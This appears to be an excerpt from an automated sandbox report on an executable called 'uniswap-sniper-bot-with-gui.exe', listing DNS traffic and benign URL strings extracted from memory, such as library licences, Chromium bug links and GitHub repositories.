Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EA43000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.izs.me/)
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://code.google.com/p/closure-compiler/wiki/SourceMaps
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cr.yp.to/djb.html
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/275944
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/378067
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/437891.
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/456214
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/510270
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/642141
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/672186).
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/819404
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/932466
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crbug.com/957772
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/uuid.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/commonnode-set../../third_party/blink/renderer/core/xml/xslt_extensions.ccxsltNewSe
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://fengmk2.com)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://feross.org
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://feross.org/
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo.com
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://github.com/garycourt/uri-js
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hyperelliptic.org/tanja
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxon
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxonorg.apache.xalan.xslt.extensions.RedirectxsltDocumentElem:
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://n8.io/)
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://narwhaljs.org)
Source: my2gf4tNEk.exe, 00000000.00000000.2291382556.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.org/licenses/MIT
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://pajhome.org.uk/crypt/md5
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tweetnacl.cr.yp.to/
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tweetnacl.cr.yp.to/)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://unlicense.org
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://unlicense.org/)
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://userguide.icu-project.org/strings/properties
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wiki.whatwg.org/wiki/Crypto
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wpad/wpad.dat
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wpad/wpad.dat../../net/proxy_resolution/pac_file_decider.ccDoWaitDoQuickCheck../../net/proxy_
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wpad/wpad.dat../../net/proxy_resolution/win/proxy_config_service_win.cc~ProxyConfigServiceWin
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cryptojedi.org/users/peter/
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cs.ru.nl/~sjakie/
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.futurealoof.com)
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3C//DTD
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jaredhanson.net/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jclark.com/xt
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.joyent.com
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.movable-type.co.uk/scripts/sha1.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: my2gf4tNEk.exe, 00000000.00000003.2359537566.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org/copyright.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespace
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespacehttp://www.jclark.com/xtxsl:key
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/xsltNewExtDef
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://(www.)?poshmark.com/bundles/shop/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://android.com/pay
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/uploadhttps://beacons.gvt2.com/domainreliability/uplo
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons2.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons3.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons4.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons5.gvt2.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons5.gvt3.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beastacademy.com/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/3rpDuEX.
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/3rpDuEX.WebBundleURLLoaderFactory::OnResponseParsedInvalid
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/audio-worklet)
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/audio-worklet)ScriptProcessorHandler::ProcessScriptProcessorHandler::Process
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blog.soliditylang.org/2021/04/21/custom-errors/)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blueimp.net
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=10201
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=10704
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=3175#c4
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=6593
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=745678
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.android.clients.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.bigcache.googleapis.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.doc-0-0-sj.sj.googleusercontent.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.docs.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.drive.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.googlesyndication.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.pack.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.play.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://c.youtube.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cart.(payments.)?ebay.com/(sc/(add
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cart.godaddy.com(/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://chromium.googlesource.com/chromium/src/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/domainreliability/upload
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count-map
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#countreset
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#table
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cr.joyent.us)
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908.
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908.The
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908Changing
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1154140
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1201800
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/824383
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/824647
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/927119
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/927119../../third_party/blink/renderer/core/script/script_loader.ccPrepareScriptEx
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/v8/7848
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cs.chromium.org/chromium/src/v8/tools/SourceMap.js?rcl=dd10454c1d
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/doc/draft-ietf-rtcweb-ip-handling.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/SpiderMonkey/Parser_API
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent/code
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/fetch#credentials
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equa
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/invite/APGC3k5yaH
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.web3js.org/guides/web3_upgrade_guide/x/web3_utils_migration_guide#conversion-to-hex)
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://electronjs.org
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://electronjs.org/docs/tutorial/security.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textdecoder
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textencoder
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://esdiscuss.org/topic/isconstructor#content-11
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ethdocs.org/en/latest/ether.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://example.org
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://example.orgExpired
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://feross.org
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://feross.org/opensource
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gcp.gvt2.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gcp.gvt6.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ChainSafe/web3.js
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ChainSafe/web3.js/blob/8783f4d64e424456bdc53b34ef1142d0a7cee4d7/packages/web3-eth
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LiosK/UUID.js
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/RyanZim/universalify#readme
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/RyanZim/universalify.git
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Sebmaster/tr46.js#readme
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Sebmaster/tr46.js.git
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TooTallNate/util-deprecate
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WICG/scheduling-apis
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WebAssembly/esm-integration/issues/42
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/WebBluetoothCG/web-bluetooth/blob/main/implementation-status.md
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/acornjs/acorn/blob/master/acorn/src/identifier.js#L23
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/acornjs/acorn/issues/575
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/addaleax/eventemitter-asyncresource
